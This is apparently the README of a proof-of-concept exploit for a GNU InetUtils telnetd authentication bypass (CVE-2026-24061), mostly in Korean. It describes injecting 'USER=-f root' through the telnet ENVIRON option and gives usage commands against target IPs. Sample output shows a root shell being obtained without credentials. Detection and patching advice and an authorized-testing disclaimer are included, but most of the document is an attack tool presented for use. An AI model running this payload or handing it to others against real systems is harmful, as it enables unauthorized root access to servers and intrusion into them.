
A PoC exploit for CVE-2026-24061 - GNU InetUtils telnetd Argument Injection Authentication Bypass
GNU InetUtils 버전 1.9.3부터 2.7까지는 telnetd 서버에서 원격 인증 우회 취약점에 영향을 받습니다. telnetd 데몬은 USER 환경 변수를 login(1) 프로그램에 명령줄 인자로 전달하기 전에 적절히 정리(sanitize)하지 못합니다. 텔넷 클라이언트가 명령줄 플래그(예: -f root)를 포함한 USER 환경 변수를 보내면, telnetd는 이 정리되지 않은 값을 login 프로그램에 직접 전달합니다. login 유틸리티는 -f 플래그를 인증을 우회하라는 명령으로 해석하여, 공격자가 자격 증명을 제공하지 않고도 권한 없는 루트 액세스를 얻을 수 있습니다.
전체 텔넷 프로토콜 구현
DO, DONT, WILL, WONT 협상을 처리합니다.자동 페이로드 주입
USER=-f root 주입을 포함한 조작된 ENVIRON 옵션 페이로드를 구성하여 전송합니다.대화형 셸
연결 관리
상세 디버깅
python3 exploit.py <대상> -p <포트> [옵션]
| 인자 | 설명 |
|---|---|
target | 대상 IP 주소 또는 호스트명 |
python3 exploit.py 192.168.1.100
python3 exploit.py 192.168.1.100 -p 2323 -v
python3 exploit.py 10.0.0.5 -p 2323 -k 60 -t 10
연결 수립
프로토콜 협상
SGA, ECHO, ENVIRON)을 처리합니다.페이로드 전달
WILL ENVIRON을 보낸 후 조작된 하위 협상 페이로드를 전송합니다.인증 우회
-f root 인자가 login(1)에 주입되어 자격 증명 검사를 우회합니다.대화형 세션
이 익스플로잇은 ENVIRON 텔넷 옵션(RFC 1572)을 활용하여 명령줄 인자를 USER 환경 변수에 주입합니다.
telnetd가 이 정리되지 않은 값을 login -f root에 전달하면, login 프로그램은 -f를 인증 우회를 강제하는 플래그로 해석하여 암호 확인 없이 루트 액세스를 부여합니다.
익스플로잇 스크립트는 다음을 구현합니다:
WILL, WONT, DO, DONT)NOP 명령$ python3 exploit.py 127.0.0.1 -p 2323
[!] Coded By: K3ysTr0K3R
[*] Telnet Authentication Bypass
[*] Connecting to 127.0.0.1:2323
[+] Connection established
[+] Exploit payload sent (19 bytes)
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
시스템 관리자는 다음을 모니터링하여 익스플로잇 시도를 탐지할 수 있습니다:
ENVIRON 옵션 협상을 수행하는 텔넷 연결-f 또는 기타 명령줄 플래그를 포함한 USER 환경 변수GNU InetUtils 버전 2.8로 업그레이드하거나, 환경 변수를 login(1)에 전달하기 전에 정리하는 공식 보안 패치를 적용하십시오.
이 개념 증명은 보안 연구, 취약점 검증 및 승인된 테스트 환경에서만 사용하기 위한 것입니다. 보안 평가를 수행할 명시적 권한이 있는 시스템에만 사용하십시오.
| 옵션 | 설명 |
|---|
-p, --port | 대상 포트 (기본값: 23) |
-v, --verbose | 상세 디버그 출력 활성화 |
-t, --timeout | 연결 타임아웃 (초) (기본값: 5) |
-k, --keepalive | 연결 유지 간격 (초) (기본값: 30) |
-h, --help | 도움말 메시지 표시 |